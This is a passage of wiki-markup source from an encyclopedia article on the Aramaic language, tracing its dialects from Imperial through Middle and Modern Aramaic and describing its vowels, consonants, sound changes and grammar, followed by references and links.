From [[700 BC|700 BCE]], the language began to spread in all directions, but lost much of its homogeneity. Different dialects began to emerge in [[Mesopotamia]], [[Babylonia]], the [[Levant]] and [[Egypt]]. However, the [[Akkadian language|Akkadian]]-influenced Aramaic of Assyria, and then [[Babylon]], started to come to the fore. As described in [[Books of Kings|2 Kings]] 18:26, [[Hezekiah]], king of [[Kingdom of Judah|Judah]], negotiates with Assyrian ambassadors in Aramaic so that the common people would not understand. Around [[600 BC|600 BCE]], Adon, a [[Canaan]]ite king, uses Aramaic to write to the Egyptian [[Pharaoh]].

'Chaldee' or 'Chaldean Aramaic' used to be common terms for the Aramaic of the Chaldean dynasty of [[Babylonia]]. It was used to describe [[Biblical Aramaic]], which was, however, written in a later style. It is not to be confused with the modern language [[Chaldean Neo-Aramaic]].

===Imperial Aramaic===
Around [[500 BC|500 BCE]], [[Darius I]] made Aramaic the official language of the western half of the [[Achaemenid]] [[Persian Empire]]. The bureaucrats in Babylon were already using the local dialect of Eastern Aramaic for most of their work, but Darius's edict put Aramaic on firm, united foundations. The new, Imperial Aramaic was highly standardised; its orthography was based more on historical roots than any spoken dialect, and the inevitable influence of [[Persian language|Persian]] gave the language a new clarity and robust flexibility. Imperial Aramaic is sometimes called Official Aramaic or [[Biblical Aramaic]]. For centuries after the fall of the Achaemenid Empire (in [[331 BC|331 BCE]]), Imperial Aramaic as prescribed by Darius, or near enough for it to be recognisable, remained the dominant language of the region.

'[[Achaemenid]] Aramaic' is used to describe the Imperial Aramaic of the Achaemenid Empire. This period of Aramaic is usually dated from the proclamation of Darius (''c.'' 500 BCE) to about a century after the fall of the Achaemenid Empire in 331 BCE. Many of the extant documents witnessing to this form of Aramaic come from [[Egypt]], and [[Elephantine]] in particular. Of them, the most well known is the 'Wisdom of Ahiqar', a book of instructive aphorisms quite similar in style to the biblical [[book of Proverbs]]. Achaemenid Aramaic is sufficiently uniform that it is often difficult to know where any particular example of the language was written. Only careful examination reveals the occasional loan word from a local language.

====Post-Achaemenid Aramaic====
[[Image:Alexander Aramaic coin.jpg|thumb|left|200px|Coin of Alexander bearing an Aramaic language inscription.]]
The conquest by [[Alexander the Great]] did not destroy the unity of Aramaic language and literature immediately. Aramaic that bears a relatively close resemblance to that of the [[5th century BC|fifth century BCE]] can be found right up to the early [[2nd century BC|second century]]. The [[Seleucid]]s imposed [[Greek language|Greek]] in the administration of [[Syria]] and [[Mesopotamia]] from the start of their rule. In the [[3rd century BC|third century]], Greek overtook Aramaic as the common language in Egypt and Syria. However, a post-Achaemenid Aramaic continued to flourish from [[Judaea]], through the Syrian Desert, and into [[Arabia]] and [[Parthia]]. This continuation of Imperial Aramaic was a subversive, anti-Hellenistic statement of independence.

[[Biblical Aramaic]] is the Aramaic found in four discrete sections of the [[Hebrew Bible]]:
* [[Book of Ezra|Ezra]] 4:8–6:18 and 7:12–26 — documents from the Achaemenid period ([[5th century BC|fifth century BCE]]) concerning the restoration of the temple in Jerusalem.
* [[Book of Daniel|Daniel]] 2:4b–7:28 — five subversive tales and an apocalyptic vision.
* [[Book of Jeremiah|Jeremiah]] 10:11 — a single sentence in the middle of a Hebrew text denouncing idolatry.
* [[Genesis]] 31:47 — translation of a Hebrew place-name.
Biblical Aramaic is a somewhat hybrid dialect. Some Biblical Aramaic material probably originated in both Babylonia and Judaea before the fall of the Achaemenid dynasty. During [[Seleucid]] rule, defiant Jewish propaganda shaped Aramaic [[Book of Daniel|Daniel]]. These stories probably existed as oral traditions at their earliest stage. This might be one factor that led to differing collections of Daniel in the [[Greek language|Greek]] [[Septuagint]] and the [[Masoretic Text]], which presents a lightly [[Hebrew language|Hebrew]]-influenced Aramaic.

Under the category of post-Achaemenid is Hasmonaean Aramaic, the official language of [[Hasmonean|Hasmonaean]] Judaea ([[142 BC|142]]–[[37 BC|37]] BCE). It influenced the Biblical Aramaic of the [[Qumran]] texts, and was the main language of non-biblical theological texts of that community. The major [[Targum]]s, translations of the Hebrew Bible into Aramaic, were originally composed in Hasmonaean. Hasmonaean also appears in quotations in the [[Mishnah]] and [[Tosefta]], although smoothed into its later context. It is written quite differently from Achaemenid Aramaic; there is an emphasis on writing as words are pronounced rather than using etymological forms.

Babylonian [[Targum]]ic is the later post-Achaemenid dialect found in the [[Targum Onkelos|Targum Onqelos]] and [[Targum Jonathan]], the 'official' targums. The original, Hasmonaean targum had reached Babylon sometime in the [[2nd century|second]] or [[3rd century|third]] centuries CE. They were then reworked according to the contemporary dialect of Babylon to create the language of the standard targums. This combination formed the basis of Babylonian Jewish literature for centuries to follow.

[[Image:Targum.jpg|right|thumb|320px|11th century [[Targum]] of the [[Hebrew Bible]].]]

Galilean Targumic is similar to Babylonian Targumic. It is the mixing of literary Hasmonaean with the dialect of [[Galilee]]. The Hasmonaean targum reached Galilee in the second century CE, and were reworked into this Galilean dialect for local use. The Galilean Targum was never considered an authoritative work, and documentary evidence shows that its text was amended wherever and whenever 'improvement' was needed. From the [[11th century|eleventh century CE]] onwards, once the Babylonian Targum had become normative, the Galilean version became heavily influenced by it.

Babylonian Documentary Aramaic is a dialect in use from the third century CE onwards. It is the dialect of Babylonian private documents, and, from the [[12th century|twelfth century]], all Jewish private documents in Aramaic. It is based on Hasmonaean with very few changes. This was perhaps due to the fact that many of the documents in BDA are legal documents, the language in them had to be sensible throughout the Jewish community from the start, and Hasmonaean was the old standard.

[[Nabataean]] Aramaic is the language of the Arab kingdom of [[Petra]]. The kingdom (''c.'' [[200 BC|200 BCE]]–[[106|106 CE]] covered the east bank of the [[Jordan River]], the [[Sinai Peninsula]] and northern Arabia. Perhaps because of the importance of the caravan trade, the Nabataeans began to use Aramaic in preference to [[Old North Arabic]]. The dialect is based on Achaemenid with a little influence from Arabic: 'l' is often turned into 'n', and there are a few Arabic loan words. Some Nabataean Aramaic inscriptions exist from the early days of the kingdom, but most are from the first four centuries CE. The language is written in a [[cursive]] script that is the precursor to the modern [[Arabic alphabet]]. The number of Arabic loan words increases through the centuries, until, in the [[4th century|fourth century]], Nabataean merges seamlessly with [[Arabic language|Arabic]].

Palmyrene Aramaic is the dialect that was in use in the city of [[Palmyra]] in the Syrian Desert from [[44 BC|44 BCE]] to 274 CE. It was written in a rounded script, which later gave way to cursive [[Estrangela]]. Like Nabataean, Palmyrene was influenced by Arabic, but to a lesser degree.

[[Arsacid]] Aramaic was the official language of the [[Parthian Empire]] ([[247 BC|247 BCE]]–224 CE). It, more than any other post-Achaemenid dialect, continues the tradition of [[Darius I]]. Over time, however, it came under the influence of contemporary, spoken Aramaic, [[Georgian language|Georgian]] and [[Persian language|Persian]]. After the conquest of the Parthians by the Persian-speaking [[Sassanids]], Arsacid exerted considerable influence on the new official language.

===Late Old Eastern Aramaic===
[[Image:Mandaic.jpg|left|thumb|320px|[[Mandaic language|Mandaic]] magical 'demon trap']]

The dialects mentioned in the last section were all descended from Achaemenid Imperial Aramaic. However, the diverse regional dialects of Late Ancient Aramaic continued alongside these, often as simple, spoken languages. Early evidence for these spoken dialects is known only through their influence on words and names in a more standard dialect. However, these regional dialects became written languages in the [[2nd century BC|second century BCE]]. These dialects reflect a stream of Aramaic that is not dependent on Imperial Aramaic, and shows a clear division between the regions of Mesopotamia, Babylon and the east, and Judah, Syria, and the west.

In the east, the dialects of Palmyrene and Arsacid Aramaic merged with the regional languages to create languages with a foot in Imperial and a foot in regional Aramaic. Much later, Arsacid became the liturgical language of the [[Mandaean]] religion, [[Mandaic language|Mandaic]].

In the kingdom of [[Osrhoene]], centred on [[Edessa, Mesopotamia|Edessa]] and founded in [[132 BC|132 BCE]], the regional dialect became the official language: Old [[Syriac language|Syriac]]. On the upper reaches of the [[Tigris]], East Mesopotamian Aramaic flourished, with evidence from [[Hatra]], [[Assur]] and the [[Tur Abdin]]. [[Tatian]], the author of the gospel harmony the [[Diatessaron]] came from Assyria, and perhaps wrote his work (172 CE) in East Mesopotamian rather than Syriac or Greek. In Babylonia, the regional dialect was used by the Jewish community, Jewish Old Babylonian (from ''c.'' [[70]] CE). This everyday language increasingly came under the influence of Biblical Aramaic and Babylonian Targumic.

===Late Old Western Aramaic===
The western regional dialects of Aramaic followed a similar course to those of the east. They are quite distinct from the eastern dialects and Imperial Aramaic. Colloquial Hebrew, and kindred Semitic languages in the Canaanite family, gave way to Aramaic during [[4th century BC|fourth century BCE]]; [[Phoenician language|Phoenician]], however, continued into the [[1st century BC|first century BCE]].

The form of Late Old Western Aramaic used by the Jewish community is best attested, and is usually referred to as Jewish Old Palestinian. Its oldest form is Old East Jordanian, which probably comes from the region of [[Caesarea Philippi]]. This is the language of the oldest manuscript of [[Enoch]] (''c.'' [[170 BC|170 BCE]]). The next distinct phase of the language is called Old Judaean (into the second century CE). Old Judaean literature can be found in various inscriptions and personal letters, preserved quotations in the [[Talmud]] and receipts from [[Qumran]]. [[Josephus]]' first, non-extant edition of his ''[[Jewish War]]'' was written in Old Judaean.

The Old East Jordanian dialect continued to be used into the first century CE by pagan communities living to the east of the Jordan. Their dialect is often then called Pagan Old Palestinian, and it was written in a cursive script somewhat similar to that used for Old Syriac. A Christian Old Palestinian dialect may have arisen from the pagan one, and this dialect may be behind some of the Western Aramaic tendencies found in the otherwise eastern Old Syriac gospels (see [[Peshitta]]).

====The spoken dialects of Jesus' time====
: ''See the [[Aramaic of Jesus]] for more information''. 
Seven dialects of Western Aramaic were spoken in [[Jesus]]' time. They were probably distinctive yet mutually intelligible. Old Judaean was the prominent dialect of [[Jerusalem]] and Judaea. The region of [[Ein Gedi|Engedi]] had the South-east Judaean dialect. [[Samaria]] had its distinctive Samaritan Aramaic, where the consonants 'he', 'heth' and '`ayin' all became pronounced as 'aleph'. Galilean Aramaic, the language of Jesus' home region, is only known from a few place names, the influences on Galilean Targumic, some rabbinic literature and a few private letters. It seems to have a number of distinctive features: [[diphthong]]s are never simplified into monophthongs. East of the Jordan, the various dialects of East Jordanian were spoken. In the region of [[Damascus]] and the [[Anti-Lebanon]], Damascene Aramaic was spoken (deduced mostly from Modern Western Aramaic). Finally, as far north as [[Aleppo]], the western dialect of Orontes Aramaic was spoken.

Besides these dialects of Aramaic, Greek was used extensively in urban centres. There is little evidence for the use of Hebrew during this period. Some Hebrew words continued as part of Jewish Aramaic vocabulary (mostly technical religious words, but also some everyday words like `ēṣ, ''tree''), and the written language of the [[Tanakh]] was read and understood by the educated classes. However, the Hebrew language had ceased to be the language of everyday life. In addition, the various words in the Greek context of the [[New Testament]] that are untranslated are clearly Aramaic rather than Hebrew. From the little evidence there is, this Aramaic is not Galilean Aramaic but Old Judaean. This suggests that the words of Jesus were transmitted in the dialect of [[Judaea]] and [[Jerusalem]] rather than that of his hometown.

The 2004 film ''[[The Passion of the Christ]]'' is notable for its use of much dialogue in an Aramaic  specially reconstructed by a lone scholar, [[William Fulco]]. However, modern Aramaic speakers found the language stilted and unfamiliar.

==Middle Aramaic==
The [[3rd century|third century CE]] is taken as the threshold between Old and Middle Aramaic. During that century, the nature of the various Aramaic languages and dialects begins to change. The descendents of Imperial Aramaic ceased to be living languages, and the eastern and western regional languages began to form vital, new literatures. Unlike many of the dialects of Old Aramaic, much is known about the vocabulary and grammar of Middle Aramaic.

===Eastern Middle Aramaic===
Only two of the Old Eastern Aramaic languages continued into this period. In the north of the region, Old Syriac moved into Middle Syriac. In the south, Jewish Old Babylonian became Jewish Middle Babylonian. The post-Achaemenid, Arsacid dialect became the background of the new [[Mandaic language]].

====Middle Syriac====
[[Image:Estrangela.jpg|right|thumb|320px|9th century [[Syriac language|Syriac]] [[Syriac alphabet|Estrangela]] manuscript of [[John Chrysostom]]'s ''Homily on the [[Gospel of John]]'']]

: ''See [[Syriac language]] for more information''.
Middle Syriac is the classical, literary and liturgical language of [[Syriac Christianity|Syriac Christians]] to this day. Its golden age was the [[4th century|fourth]] to [[6th century|sixth]] centuries. This period began with the translation of the Bible into the language: the [[Peshitta]] and the masterful prose and poetry of [[Ephrem the Syrian]]. Middle Syriac, unlike its forebear, is a thoroughly Christian language, although in time it became the language of those opposed to the [[Byzantine Empire|Byzantine]] leadership of the church in the east. Missionary activity led to the spread of Syriac through [[Iran|Persia]] and into [[India]] and [[China]].
{{listen|filename=aboun.ogg|title=Abun dbashmayo|description=The [[Lord's Prayer]], ''Abun dbashmayo'',  sung in [[Syriac language|Syriac]]}}

====Jewish Middle Babylonian Aramaic====
Jewish Middle Babylonian is the language employed by Jewish writers in Babylonia between the 4th century and the 11th century CE. It is most commonly identified with the language of the Babylonian [[Talmud]] (which was completed in the [[7th century|seventh century]]) and of post-Talmudic (Geonic) literarure, which are the most important cultural products Babylonian Jewry. The most important epigraphic sources for the dialect are the hundreds of Aramaic magic bowls written in the Jewish script.

====Mandaic====
: ''See [[Mandaic language]] for more information''.
Mandaic is a sister dialect to Jewish Babylonian Aramaic, though it is both linguistically and culturally distinct. Classical Mandaic is the language in which the Mandaean's religious literature was composed. It is characterized by a highly phonetic orthography.

===Western Middle Aramaic===
The dialects of Old Western Aramaic continued with Jewish Middle Palestinian (in [[Hebrew alphabet|Hebrew 'square script']]), Samaritan Aramaic (in the [[Phoenician alphabet|old Hebrew script]]) and Christian Palestinian (in cursive [[Syriac alphabet|Syriac script]]). Of these three, only Jewish Middle Palestinian continued as a written language.

====Jewish Middle Palestinian Aramaic====
In 135, after [[Bar Kokhba's revolt]], many [[Jew]]ish leaders, expelled from [[Jerusalem]], moved to [[Galilee]]. The Galilean dialect thus rose from obscurity to become the standard among Jews in the west. This dialect was spoken not only in Galilee, but also in the surrounding parts. It is the linguistic setting for the [[Jerusalem Talmud|Palestinian Talmud]] (completed in the [[5th century|fifth century]]) and [[midrash]]im (biblical commentaries and teaching). The modern standard of vowel pointing for the [[Hebrew Bible]], the Tiberian system ([[10th century|tenth century]]), was most probably based on the pronunciation of the Galilean dialect of Jewish Middle Palestinian. The inscription in the synagogue at [[Dura-Europos]] are either in Middle East Jordanian or Middle Judaean.

Middle Judaean, the descendent of Old Judaean, is no longer the dominant dialect, and was used only in southern Judaea (the variant Engedi dialect continued throughout this period). Likewise, Middle East Jordanian continues as a minor dialect from Old East Jordanian.

====Samaritan Aramaic====
The Aramaic dialect of the [[Samaritan]] community is earliest attested by a documentary tradition that can be dated back to the fourth century. Its modern pronunciation is based on the form used in the tenth century.

====Christian Palestinian Aramaic====
The language of Western-Aramaic-speaking Christians is evidenced from the sixth century, but probably existed two centuries earlier. The language itself comes from Christian Old Palestinian, but its writing conventions were based on early Middle Syriac, and it was heavily influenced by Greek. The name Jesus, although ''Yešû`'' in Aramaic, is written ''Yesûs'' in Christian Palestinian.

==Modern Aramaic==
{{main|Neo-Aramaic languages}}
Over four hundred thousand people speak Aramaic to this day. They are Jews, Christians, Muslims and Mandaeans, living in remote areas and preserving their traditions with printing presses, and now electronic media. The Modern Aramaic (or ''Neo-Aramaic'') languages are now farther apart in their comprehension of one another than perhaps they have ever been. The last two-hundred years have not been good to Aramaic speakers. Instability throughout the Middle East has lead to a worldwide diaspora of Aramaic speakers. The year 1915 is especially prominent for Aramaic-speaking Christians: called ''[[Syriac genocide|Sayfo/Saypā]]'' (''sword'' in Syriac), all Christian groups ([[Assyrian people|Assyrians]], [[Armenians]] and others) living in eastern [[Turkey]] were the subject of the persecutions that marked the end of the [[Ottoman Empire]]. For Aramaic-speaking Jews 1950 is a watershed year: the newly founded state of [[Israel]] led most Aramaic-speaking Jews to emigrate there. However, removal to Israel has led to Jewish Neo-Aramaic being swamped in a sea of Modern Hebrew, and the practical extinction of many Jewish dialects is imminent.

===Modern Eastern Aramaic===
Modern Eastern Aramaic exists in a wide variety of dialects and languages. There is significant difference between the Aramaic spoken by Jews, Christians and Mandaeans.

The Christian languages are often called Modern [[Syriac language|Syriac]] (or Neo-Syriac, particularly when referring to their literature), being deeply influenced by the literary and liturgical language of Middle Syriac. However, they also have roots in numerous, previously unwritten, local Aramaic dialects, and are not purely the direct descendants of the language of [[Ephrem the Syrian]].

Modern Western Syriac (also called Central Neo-Aramaic, being in between Western Neo-Aramaic and Eastern Neo-Syriac) is generally represented by [[Turoyo language|Turoyo]], the language of the [[Tur Abdin]]. A related language, [[Mlahso language|Mlahsö]], has recently become extinct.

The eastern Christian languages (Modern Eastern Syriac or Eastern Neo-Aramaic) are often called ''Sureth'' or ''Suret'', from a native name. They are also sometimes called ''[[Assyrian Neo-Aramaic|Assyrian]]'' or ''[[Chaldean Neo-Aramaic|Chaldean]]'', but these names are not accepted by all speakers. The dialects are not all mutually intelligible. East Syriac communities are usually either [[Chaldean Catholic Church|Chaldean Catholics]] or [[Assyrian Church of the East|Assyrians]].

The [[Judeo-Aramaic language|Jewish Modern Aramaic languages]] are now mostly spoken in [[Israel]], and most are facing extinction (older speakers are not passing the language to younger generations). The Jewish dialects that have come from communities that once lived between [[Lake Urmia]] and [[Mosul]] are not all mutually intelligible. In some places, for example [[Urmia]], Christians and Jews speak unintelligible dialects of Modern Eastern Aramaic in the same place. In others, the plain of Mosul for example, the dialects of the two faith communities are similar enough to allow conversation.

A few Mandaeans living in the province of [[Khuzestan]] in [[Iran]] speak Modern [[Mandaic language|Mandaic]]. It is quite distinct from any other Aramaic dialect.

===Modern Western Aramaic===
{{main|Western Neo-Aramaic}}
Very little remains of Western Aramaic. It is still spoken in the Christian village of [[Ma'loula|Ma`loula]] in Syria and the Muslim villages of [[Bakh`a]] and [[Jubb`adin]] in [[Syria]]'s [[Anti-Lebanon]], as well as by some people who migrated from these villages to [[Damascus]] and other larger towns of Syria. All these speakers of Modern Western Aramaic are fluent in Arabic, which has now become the main language in these villages.

==Sounds==
Each dialect of Aramaic has its own distinctive pronunciation, and it would not be possible here to go into all these properties. Aramaic has a phonological palette of 25 to 40 distinct phonemes. In general, older dialects tended to have a richer phonology than more modern ones. In particular, some modern Jewish Aramaic pronunciations lack the series of 'emphatic' consonants. Other dialects have borrowed from the inventories of surrounding languages, particularly [[Arabic language|Arabic]], [[Azeri language|Azeri]], [[Kurdish language|Kurdish]], [[Persian language|Persian]] and [[Turkish language|Turkish]].

===Vowels===
As with most Semitic languages, Aramaic can be thought of as having three basic sets of vowels:
* Open ''a''-vowels
* Close front ''i''-vowels
* Close back ''u''-vowels
These vowel groups are relatively stable, but the exact articulation of any individual is most dependent on its consonantal setting.

The cardinal open vowel is an open near-front unrounded vowel ('short' ''a'', like the first vowel in the English 'batter', [[International Phonetic Alphabet|IPA]]: {{IPA|/a/}}). It usually has a back counterpart ('long' ''a'', like the ''a'' in 'father', [[International Phonetic Alphabet|IPA]]: {{IPA|/ɑ/}}, or even tending to the vowel in 'caught', [[International Phonetic Alphabet|IPA]]: {{IPA|/ɔ/}}), and a front counterpart ('short' ''e'', like the vowel in 'head', [[International Phonetic Alphabet|IPA]]: {{IPA|/ɛ/}}). There is much correspondence between these vowels between dialects.  There is some evidence that Middle Babylonian dialects did not distinguish between the short ''a'' and short ''e''. In West Syriac dialects, and possibly Middle Galilean, the long ''a'' became the ''o'' sound. The open ''e'' and back ''a'' are often indicated in writing by the use of the letters 'alaph' (a [[glottal stop]]) or 'he' (like the English ''h'').

The cardinal close front vowel is the 'long' ''i'' (like the vowel in 'need', [[International Phonetic Alphabet|IPA]]: {{IPA|/i/}}). It has a slightly more open counterpart, the 'long' ''e'', as in the final vowel of 'café' ([[International Phonetic Alphabet|IPA]]: {{IPA|/e/}}). Both of these have shorter counterparts, which tend to be pronounced slightly more open. Thus, the short close ''e'' corresponds with the open ''e'' in some dialects. The close front vowels usually use the consonant ''y'' as a [[matres lectionis|mater lectionis]].

The cardinal close back vowel is the 'long' ''u'' (like the vowel in 'school', [[International Phonetic Alphabet|IPA]]: {{IPA|/u/}}). It has a more open counterpart, the 'long' ''o'', like the vowel in 'low' ([[International Phonetic Alphabet|IPA]]: {{IPA|/o/}}). There are shorter, and thus more open, counterparts to each of these, with the short close ''o'' sometimes corresponding with the long open ''a''. The close back vowels often use the consonant ''w'' to indicate their quality.

Two basic [[diphthong]]s exist: an open vowel followed by ''y'' (''ay''), and an open vowel followed by ''w'' (''aw''). These were originally full diphthongs, but many dialects have converted them to ''e'' and ''o'' respectively.

The so-called 'emphatic' consonants (see the next section) cause all vowels to become mid-centralised.

===Consonants===
The various alphabets used for writing Aramaic languages have twenty-two letters (all of which are consonants). Some of these letters, though, can stand for two or three different sounds (usually a [[Stop consonant|plosive]] and a [[fricative]] at the same point of articulation). Aramaic classically uses a series of lightly contrasted plosives and fricatives:
* Labial set: ''p''/''f'' and ''b''/''v'',
* Dental set: ''t''/''θ'' and ''d''/''ð'',
* Velar set: ''k''/''x'' and ''g''/''ɣ''.
Each member of a certain pair is written with the same letter of the alphabet in most writing systems (that is, ''p'' and ''f'' are written with the same letter), and are near [[allophone]]s.

A distinguishing feature of Aramaic phonology (and that of Semitic languages in general) is the presence of 'emphatic' consonants. These are consonants that are pronounced with the root of the tongue retracted, with varying degrees of [[pharyngealization]] and [[velar|velarisation]]. Using their alphabetic names, these emphatics are:
* {{unicode|Ḥêṯ}}, a [[voiceless pharyngeal fricative]], [[International Phonetic Alphabet|IPA]]: /ħ/ (like the sound made breathing on glass),
* {{unicode|Ṭêṯ}}, a pharyngealized ''t'', [[International Phonetic Alphabet|IPA]]: /{{IPA|tˁ}}/,
* {{unicode|ʽAyn}}, a pharyngealized [[glottal stop]] (sometimes considered to be a [[voiced pharyngeal fricative]]), [[International Phonetic Alphabet|IPA]]: /{{IPA|ʕ}}/ or /{{IPA|ʔˁ}}/,
* {{unicode|Ṣāḏê}}, a pharyngealized ''s'', [[International Phonetic Alphabet|IPA]]: /{{IPA|sˁ}}/,
* {{unicode|Qôp̄}}, an [[uvular]] ''k'' (a [[voiceless uvular plosive]]), [[International Phonetic Alphabet|IPA]]: /q/.{{listen|filename=Aramaic_emphatics.ogg|title=The emphatic consonants of Aramaic|description=|format=[[Ogg]]}}

Ancient Aramaic may have had a larger series of emphatics. Not all dialects of Aramaic give these consonants their historic values.

Overlapping with the set of emphatics are the 'guttural' consonants. They include {{unicode|Ḥêṯ}} and {{unicode|ʽAyn}} from the emphatic set, and add {{unicode|ʼĀlap̄}} (a [[glottal stop]]) and {{unicode|Hê}} (as the English 'h').

Aramaic classically has a set of four [[sibilant consonant|sibilants]] (Ancient Aramaic may have had six):
* /s/ (as in English 'sea'),
* /z/ (as in English 'zero'),
* /{{IPA|ʃ}}/ (as in English 'ship'),
* /{{IPA|sˁ}}/ (the emphatic {{unicode|Ṣāḏê}} listed above).

In addition to these sets, Aramaic has the [[nasal consonant]]s ''m'' and ''n'', and the [[approximant consonant|approximants]] ''r'' (usually an [[alveolar trill]]), ''l'', ''y'' and ''w''.

===Historical sound changes===
Six broad features of sound change can be seen as dialect differentials:
# Vowel change — This occurs almost too frequently to document fully, but is a major distinctive feature of different dialects.
# Plosive/fricative pair reduction — Originally, Aramaic, like [[Tiberian Hebrew]], had fricatives as conditioned [[allophone]]s for each plosive.  In the wake of vowel changes, the distinction eventually became phonemic; still later, it was often lost in certain dialects.  For example, [[Turoyo language|Turoyo]] has mostly lost /p/, using /f/ instead; other dialects (for instance, standard [[Assyrian Neo-Aramaic]]) have lost /θ/ and /ð/ and replaced them with /t/ and /d/. In most dialects of Modern Syriac, /f/ and /v/ become /w/ after a vowel.
# Loss of emphatics — Some dialects have replaced emphatic consonants with non-emphatic counterparts, while those spoken in the [[Caucasus]] often have [[glottal consonant|glottalized]] rather than [[pharyngealization|pharyngealized]] emphatics.
# Guttural assimilation — This is the main feature of Samaritan pronunciation, also found in [[Samaritan Hebrew]]: all the gutturals are reduced to a simple glottal stop. Some Modern Aramaic dialects do not pronounce ''h'' in all words (the third person masculine pronoun 'hu' becomes 'ow').
# Proto-Semitic */θ/ */ð/ are reflected in Aramaic as */t/, */d/, whereas they became sibilants in Hebrew (the number three in Hebrew is 'šālôš', but '{{unicode|tlāṯ}}' in Aramaic). Dental/sibilant shifts are still happening in the modern dialects.
# New phonetic inventory — Modern dialects have borrowed sounds from the surrounding, dominant languages. The usual inventory is /{{IPA|ʒ}}/ (as the first consonant in 'azure'), /{{IPA|ʤ}}/ (as in 'jam') and /{{IPA|ʧ}}/ (as in 'church'). The [[Syriac alphabet]] has been adapted for writing these new sounds.

==Grammar==
As with other Semitic languages, Aramaic [[morphology (linguistics)|morphology]] (the way words are put together) is based on the [[triliteral]] root. The root consists of three consonants and has a basic meaning, for example, ''k-t-b'' has the meaning of 'writing'. This is then modified by the addition of vowels and other consonants to create different nuances of the basic meaning:
* ''{{unicode|Kṯāḇâ}}'', handwriting, inscription, script, book.
* ''{{unicode|Kṯāḇê}}'', the Scriptures.
* ''{{unicode|Kāṯûḇâ}}'', secretary, scribe.
* ''{{unicode|Kṯāḇeṯ}}'', I wrote.
* ''{{unicode|Eḵtûḇ}}'', I shall write.{{listen|filename=kthovo.ogg|title=Aramaic words based on the triliteral root ''k-t-b''|description=|format=[[Ogg]]}}

Aramaic has two grammatical genders, masculine and feminine. Nouns can be either singular or plural, but an additional 'dual' number exists for nouns that usually come in pairs. The dual number gradually disappeared from Aramaic over time and has little influence in Middle and Modern Aramaic.

Aramaic nouns and adjectives can exist in one of three states; these states correspond in part to the role of cases in other languages. The 'absolute' state is the basic form of a noun (for example, ''{{unicode|kṯâḇâ}}'', 'handwriting'). The 'construct' state is a truncated form of the noun used to make possessive phrases (for example, ''{{unicode|kṯāḇaṯ malkṯâ}}'', 'the handwriting of the queen). The 'emphatic' or 'determined' state is an extended form of the noun that functions a bit like a definite article (which Aramaic lacks; for example, ''{{unicode|kṯāḇtâ}}'', 'the handwriting'). In time, the construct state began to be replaced by other possessive phrases, and the emphatic state became the norm in most dialects. Most dialects of Modern Aramaic use only the emphatic state.

The various forms of possessive phrases (for 'the handwriting of the queen') are:
# ''{{unicode|Kṯāḇaṯ malkṯâ}}'' — The oldest construction: the possessed object is in the construct state.
# ''{{unicode|Kṯāḇtâ d(î)-malkṯâ}}'' — Both words are in the emphatic state and the relative particle ''d(î)-'' is used to mark the relationship.
# ''{{unicode|Kṯāḇtāh d(î)-malkṯâ}}'' — Both words are in the emphatic state, and the relative particle is used, but the possessed is given an anticipatory, pronominal ending (literally, 'her writing, that (of) the queen').
In Modern Aramaic, the last form is by far the most common. In Biblical Aramaic, the last form is virtually absent.{{listen|filename=kthovath malktho.ogg|title=Different variations of the possessive construction in Aramaic|description=|format=[[Ogg]]}}

The Aramaic verb has six 'conjugations' or stems: alterations to the verbal root that can mark the [[passive voice]] (''{{unicode|eṯkṯeḇ}}'', 'it was written'), intensive (''{{unicode|katteḇ}}'', 'he decreed (in writing)'), the extensive (''{{unicode|aḵteḇ}}'', 'he composed') or a combination of these. Aramaic also has two proper [[grammatical tense|tenses]]: the perfect and the imperfect. In Imperial Aramaic, the [[participle]] began to be used for a [[historic present]]. Perhaps under influence from other languages, Middle Aramaic developed a system of composite tenses (combinations of forms of the verb with pronouns or an [[auxiliary verb]]), allowing for narrative that is more vivid.

The syntax of Aramaic (the way sentences are put together) usually follows the order verb-subject-object (VSO).

==See also==
===Background===
* [[Afro-Asiatic languages]]
* [[Semitic languages]]
* [[Aram]]
* [[Aramaean]]

===Writing systems===
* [[Aramaic alphabet]]
* [[Hebrew alphabet]]
* [[Mandaic alphabet]]
* [[Phoenician alphabet]]
* [[Syriac alphabet]]

===Historical forms===
* [[Biblical Aramaic]]
* [[Aramaic of Hatra]]
* [[Aramaic of Jesus]]
* [[Syriac language]]
* [[Mandaic language]]

===Literature===
* [[Book of Ezra]]
* [[Book of Daniel]]
* [[Targum]]
* [[Midrash]]
* [[Talmud]]
* [[Peshitta]]
* [[Ephrem the Syrian]]

===Modern Aramaic languages===
{{neo-aramaic}}

==References==
* Beyer, Klaus (1986). ''The Aramaic language: its distribution and subdivisions''. Göttingen: Vandenhoeck und Ruprecht. ISBN 3-525-53573-2.
* Casey, Maurice (1998). ''Aramaic sources of Mark's Gospel''. Cambridge University Press. ISBN 0-521-633141-1.
* Frank, Yitzchak (2003). ''Grammar for Gemara &amp; Targum Onkelos'' (expanded edition). Feldheim Publishers / Ariel Institute. ISBN 1-58330-606-4.
* Heinrichs, Wolfhart (ed.) (1990). ''Studies in Neo-Aramaic''. Atlanta, Georgia: Scholars Press. ISBN 1-55540-430-8.
* Rosenthal, Franz (1961). ''A Grammar of Biblical Aramaic''. Otto Harrassowitz, Wiesbaden.
* Stevenson, William B. (1962). ''Grammar of Palestinian Jewish Aramaic'' (2nd ed.). Clarendon Press. ISBN 0-19-815419-4.

==External links==
{{InterWiki|code=arc}}
* [http://www.ethnologue.org/show_family.asp?subid=950 Ethnologue report for Aramaic]
* [http://semarch.uni-hd.de/dokumentgruppen.php4?ST_ID=5 Semitisches Tonarchiv: Dokumentgruppe &quot;Aramäisch&quot;] — recordings of modern Aramaic (text in German)
* [http://cal1.cn.huc.edu/index.html Comprehensive Aramaic Lexicon] — at the Hebrew Union College, Cincinnati
* [http://groups.yahoo.com/group/aramaic/ Aramaic Language Yahoo! Group]
* [http://www.jewish-languages.org/jewish-aramaic.html Jewish Language Research Website: Jewish Aramaic]
*[http://www.jpost.com/servlet/Satellite?pagename=JPost/JPArticle/ShowFull&amp;cid=1113445107861 Jerusalem Post article on Aramaic use in Israel]



{{featured article}}

[[Category:Assyria]]
[[Category:Aramaic languages]]
[[Category:Jewish languages]]
[[Category:Languages of Asia]]
[[Category:Semitic languages]]

[[ar:آرامية (لغة)]]
[[br:Yezhoù aramaek]]
[[ca:Arameu]]
[[cs:Aramejština]]
[[de:Aramäische Sprache]]
[[es:Idioma arameo]]
[[eo:Aramea lingvo]]
[[fr:Araméen]]
[[ga:Aramais]]
[[ko:아람어]]
[[id:Bahasa Aram]]
[[it:Lingua aramaica]]
[[he:ארמית]]
[[la:Lingua Aramaica]]
